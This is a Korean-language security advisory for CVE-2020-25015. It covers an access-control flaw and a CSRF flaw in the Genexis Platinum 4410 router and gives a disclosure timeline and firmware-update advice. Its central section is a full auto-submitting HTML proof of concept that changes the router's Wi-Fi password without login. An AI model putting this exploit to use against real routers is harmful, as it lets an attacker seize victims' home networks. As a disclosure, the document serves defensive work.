가정용 공유기로 널리 사용되는 Genexis Platinum 4410의 2.1 버전(소프트웨어 버전 P4410-V2-1.28)을 테스트하는 과정에서, 해당 라우터가 접근 제어 결함(Broken Access Control)과 CSRF(Cross-Site Request Forgery) 취약점에 노출되어 있음을 확인했습니다.
CVE ID: CVE-2020-25015
개요
Platinum 4410은 가정용으로 폭넓게 보급된 Genexis의 소형 라우터입니다. 하드웨어 버전 V2.1, 소프트웨어 버전 P4410-V2-1.28 환경에서 접근 제어 결함과 CSRF 취약점이 발견되었으며, 이 두 가지 취약점을 조합하면 원격으로 와이파이 액세스 포인트의 비밀번호를 변경할 수 있습니다.
CSRF에 대한 자세한 개념은 별도의 참고 문서를 통해 확인하시기 바랍니다.
영향
공격자는 피해자에게 링크를 전송할 수 있습니다. 피해자가 취약한 라우터가 구축한 와이파이 네트워크에 연결된 상태에서 이 링크를 클릭하면, CSRF 익스플로잇을 통해 와이파이 액세스 포인트의 비밀번호가 몰래 변경됩니다. 더 심각한 점은 라우터 자체가 접근 제어 결함에도 취약하기 때문에, 피해자가 라우터의 웹 기반 설정 페이지(192.168.1.1)에 로그인할 필요조차 없다는 것입니다. 사실상 클릭 한 번으로 해킹이 완성되는 구조입니다.
취약점 상세
원칙적으로 이러한 공격은 성공하기가 까다롭습니다. CSRF 공격이 성공하려면 피해자가 공격 대상 애플리케이션(이 경우 192.168.1.1의 웹 설정 페이지)에 로그인된 상태여야 하는데, 대부분의 라우터 설정 페이지는 사용자 세션을 자동으로 종료합니다. 또한 일반 사용자가 라우터 설정 페이지를 직접 방문하는 일 자체가 드물기 때문입니다.
그러나 보고 당시 최신 펌웨어에 존재했던 접근 제어 취약점으로 인해, 인증되지 않은 사용자도 비밀번호 변경 요청을 그대로 전송할 수 있었습니다.
따라서 이 펌웨어 버전에서 CSRF와 접근 제어 결함을 결합하면, 공격자는 다음과 같은 코드로 작성된 HTML 문서를 만들어 사용자가 이를 제출하도록 유도할 수 있습니다.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
<input type="hidden" name="wlEnbl" value="ON" />
<input type="hidden" name="hwlKeys0" value="" />
<input type="hidden" name="hwlKeys1" value="" />
<input type="hidden" name="hwlKeys2" value="" />
<input type="hidden" name="hwlKeys3" value="" />
<input type="hidden" name="hwlgMode" value="9" />
<input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
<input type="hidden" name="hwlEnbl" value="1" />
<input type="hidden" name="hWPSMode" value="1" />
<input type="hidden" name="henableSsid" value="1" />
<input type="hidden" name="hwlHide" value="0" />
<input type="hidden" name="isInWPSing" value="0" />
<input type="hidden" name="WpsConfModeAll" value="7" />
<input type="hidden" name="WpsConfModeNone" value="0" />
<input type="hidden" name="hWpsStart" value="0" />
<input type="hidden" name="isCUCSupport" value="0" />
<input type="hidden" name="SSIDPre" value="N/A" />
<input type="hidden" name="bwControlhidden" value="0" />
<input type="hidden" name="ht_bw" value="1" />
<input type="hidden" name="wlgMode" value="b,g,n" />
<input type="hidden" name="wlChannel" value="0" />
<input type="hidden" name="wlTxPwr" value="1" />
<input type="hidden" name="wlSsidIdx" value="0" />
<input type="hidden" name="SSID_Flag" value="0" />
<input type="hidden" name="wlSsid" value="JINSON" />
<input type="hidden" name="wlMcs" value="33" />
<input type="hidden" name="bwControl" value="1" />
<input type="hidden" name="giControl" value="1" />
<input type="hidden" name="enableSsid" value="on" />
<input type="hidden" name="wlAssociateNum" value="32" />
<input type="hidden" name="wlSecurMode" value="WPAand11i" />
<input type="hidden" name="wlPreauth" value="off" />
<input type="hidden" name="wlNetReauth" value="1" />
<input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
<input type="hidden" name="cb_enablshowpsw" value="on" />
<input type="hidden" name="wlWpaGtkRekey" value="" />
<input type="hidden" name="wlRadiusIPAddr" value="" />
<input type="hidden" name="wlRadiusPort" value="" />
<input type="hidden" name="wlRadiusKey" value="" />
<input type="hidden" name="wlWpa" value="TKIPAES" />
<input type="hidden" name="wlKeyBit" value="64" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="WpsActive" value="0" />
<input type="hidden" name="wpsmode" value="ap-pbc" />
<input type="hidden" name="pinvalue" value="" />
<input type="hidden" name="Save_Flag" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
피해자가 취약한 라우터가 생성한 와이파이 액세스 포인트에 연결되어 있기만 하면, 위 코드 실행 시점에 액세스 포인트의 비밀번호가 공격자가 지정한 값으로 즉시 변경됩니다.
타임라인
- 2020년 8월 28일: Genexis 담당 팀에 취약점 보고
- 2020년 9월 14일: 수정 사항이 반영된 펌웨어 릴리스 확인
권고 사항
- Genexis 팀에 따르면, 고객은 자신이 사용 중인 ISP(인터넷 서비스 제공업체)에 연락하여 최신 펌웨어를 받아 적용해야 합니다.
- 펌웨어 업그레이드가 불가능한 환경이라면, 보안 업데이트가 지원되는 더 안전한 라우터로 교체하는 것이 좋습니다.
참고 자료
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
- https://nvd.nist.gov/vuln/detail/CVE-2020-25015